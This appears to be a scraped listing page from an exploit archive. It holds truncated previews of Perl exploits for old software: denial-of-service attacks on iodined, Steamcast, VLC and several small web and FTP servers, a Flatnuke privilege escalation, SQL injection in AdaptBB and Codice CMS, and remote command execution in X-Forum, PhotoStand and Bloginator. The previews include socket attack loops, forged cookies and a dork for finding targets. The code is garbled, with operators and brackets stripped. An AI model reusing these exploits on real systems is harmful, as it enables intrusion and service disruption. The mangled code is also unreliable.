iodined <= 0.4.2-2 (forged DNS packet) Denial of Service Exploit

No description provided by source. !/usr/bin/perl iodined = 0.4.2 DoS exploit by Albert Sellares whatsatwekkdotnet http://www.wekk.net 2009-04-26 This exploit shuts down the iodined daemon using a forged DNS packet. It works on the last debian stable version 0.4.2-2. It produces a segmentation...

iodined 0.4.2-2 - forged DNS packet Denial of Service

iodined 0.4.2-2 - forged DNS packet Denial of Service !/usr/bin/perl iodined http://www.wekk.net 2009-04-26 This exploit shuts down the iodined daemon using a forged DNS packet. It works on the last debian stable version 0.4.2-2. It produces a segmentation fault on the daemon side. use IO::Socket...

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service

Zervit Web Server 0.3 - sockets++ crash Remote Denial of Service !/usr/bin/perl Zervit HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$i=4;$i++ $socket = IO::Socket::INET-new Proto = "tcp", PeerAddr = "$ip",...

Xitami Web Server 5.0 - Remote Denial of Service

Xitami Web Server 5.0 - Remote Denial of Service !/usr/bin/perl Xitami HTTP Server \n"; print "- Exemple: file.pl 127.0.0.1 80\n"; exit; $ip = $ARGV0; $port = $ARGV1; print "+ Sending request...\n"; for$i=0;$inew Proto = "tcp", PeerAddr = "$ip", PeerPort = "$port" || die "- Failed\n"; print $sock...

Steamcast 0.9.75b Denial Of Service

!/usr/bin/perl Steamcast 0.9.75 beta Remote Denial of Service Download :http://www.steamcast.com Tested Under Windows XP and linux Dork for test :"Powered By Steamcast "0.9.75 beta Author: ksa04 use strict; use warnings; use IO::Socket; my $host = shift || die "usage: perl $0 host port\n"; my $po...

Steamcast 0.9.75b - Remote Denial of Service

!/usr/bin/perl Steamcast 0.9.75 beta Remote Denial of Service Download :http://www.steamcast.com Tested Under Windows XP and linux Dork for test :"Powered By Steamcast "0.9.75 beta Author: ksa04 use strict; use warnings; use IO::Socket; my $host = shift || die "usage: perl $0 host port\n"; my $po...

Flatnuke 2.7.1 Privilege Escalation

!/usr/bin/env perl Flatnuke timeout5; $lwp-agent'Links 2.1pre26; Linux 2.6.19-gentoo-r5 x8664; x'; $lwp-defaultheader'Cookie' = "myforum=$user; path=$path; secid=$secid; path=$path;"; $ret = $lwp-post"http://$host/$path/index.php?mod=noneLogin",...

Steamcast 0.9.75b Remote Denial of Service Exploit

Exploit for multiple platform in category dos / poc ================================================== Steamcast 0.9.75b Remote Denial of Service Exploit ================================================== !/usr/bin/perl Steamcast 0.9.75 beta Remote Denial of Service Download...

Flatnuke <= 2.7.1 (level) Remote Privilege Escalation Exploit

No description provided by source. !/usr/bin/env perl Flatnuke = 2.7.1 level Privilege Escalation 0-day Exploit Description ----------- Flatnuke contains one flaw that may allow a user to become administrator. The issue is due to 'sections/noneLogin/section.php' script not properly sanitizing use...

Flatnuke 2.7.1 - level Privilege Escalation

Flatnuke 2.7.1 - level Privilege Escalation !/usr/bin/env perl Flatnuke timeout5; $lwp-agent'Links 2.1pre26; Linux 2.6.19-gentoo-r5 x8664; x'; $lwp-defaultheader'Cookie' = "myforum=$user; path=$path; secid=$secid; path=$path;"; $ret = $lwp-post"http://$h...

Baby FTP 1.x Memory Consumption

!/usr/bin/perl Baby FTP Server v1.x Remote Memory Consumption Exploit. ------------------------------------------------------- This can be exploited to use 100% UC. Tested with Windows xp sp2 ------------------------------------------------------- Author: Jonathan Salwan Mail: submit AT...

AdaptBB 1.0 - 'topic_id' SQL Injection / Credentials Disclosure

!/usr/bin/perl -w AdaptBB 1.0 topicid SQL Injection / Credentials Disclosure Exploit Description ----------- AdaptBB contains a flaw that allows an attacker to carry out an SQL injection attack. The issue is due to the inc/bb/topic.php script not properly sanitizing user-supplied input to the...

X-Forum 0.6.2 Remote Command Execution Exploit

No description provided by source. !/usr/bin/perl Web App: X-Forum 0.6.2 Link : http://freefr.dl.sourceforge.net/sourceforge/x-forum/xforum-0.6.2.tar.gz Bug : Auth Bypass via Cookie Handling : There are also other SQL Injections Remote Command Execution Exploit Credits to Giovanni Buzzin,...

Sami HTTP Server 2.x - 'HEAD' Remote Denial of Service

!/usr/bin/perl Sami HTTP Server v2.x Remote Denial of Service with HEAD request. -------------------------------------------------------------------- The vulnerability is caused due to an error in handling the HEAD command. This can be exploited to crash the HTTP service...

PhotoStand 1.2.0 - Remote Command Execution

PhotoStand 1.2.0 - Remote Command Execution !/usr/bin/perl App : PhotoStand 1.2.0 Site : http://www.photostand.org Remote Command Execution Exploit Credits to : Giovanni Buzzin, "Osirys" osirysatautisticidotorg Greets: drosophila, emgent, Fireshot PhotoStand is a used Image Gallery CMS. PhotoStan...

Codice CMS 2 SQL Command Execution

--+++===========================================================+++-- --+++====== Codice CMS 2 Remote Command Execution Exploit ======+++-- --+++===========================================================+++-- !/usr/bin/perl use strict; use warnings; use IO::Socket; sub banner print...

Codice CMS 2 Remote SQL Command Execution Exploit

No description provided by source. --+++===========================================================+++-- --+++====== Codice CMS 2 Remote Command Execution Exploit ======+++-- --+++===========================================================+++-- !/usr/bin/perl use strict; use warnings; use...

Codice CMS 2 - Command Execution (via SQL Injection)

Codice CMS 2 - Command Execution via SQL Injection --+++===========================================================+++-- --+++====== Codice CMS 2 Remote Command Execution Exploit ======+++-- --+++===========================================================+++-- !/usr/bin/perl use strict; use...

Bloginator 1a - SQL Injection Command Injection (via Cookie Bypass )

Bloginator 1a - SQL Injection Command Injection via Cookie Bypass Author = FireShot , Jacopo Vuga. Thx to = Osirys for develop the Exploitation Code with me Mail = fireshotautisticiorg / osirysautisticiorg Vulnerability = SQL Command Injection mq = off Software = Bloginator V1A Download =...

VLC 0.9.8a Web UI (input) Remote Denial of Service Exploit

No description provided by source. !/usr/bin/perl VLC 0.9.8a Web UI Remote Stack Overflow DoS by TheLeader GreetZ: forums.hacking.org.il TiP oF TEh DaY: Rock on! = use IO::Socket; my $host = shift || 'localhost'; Target host my $port = shift || 8080; Target port. Default port = 8080 Note: for som...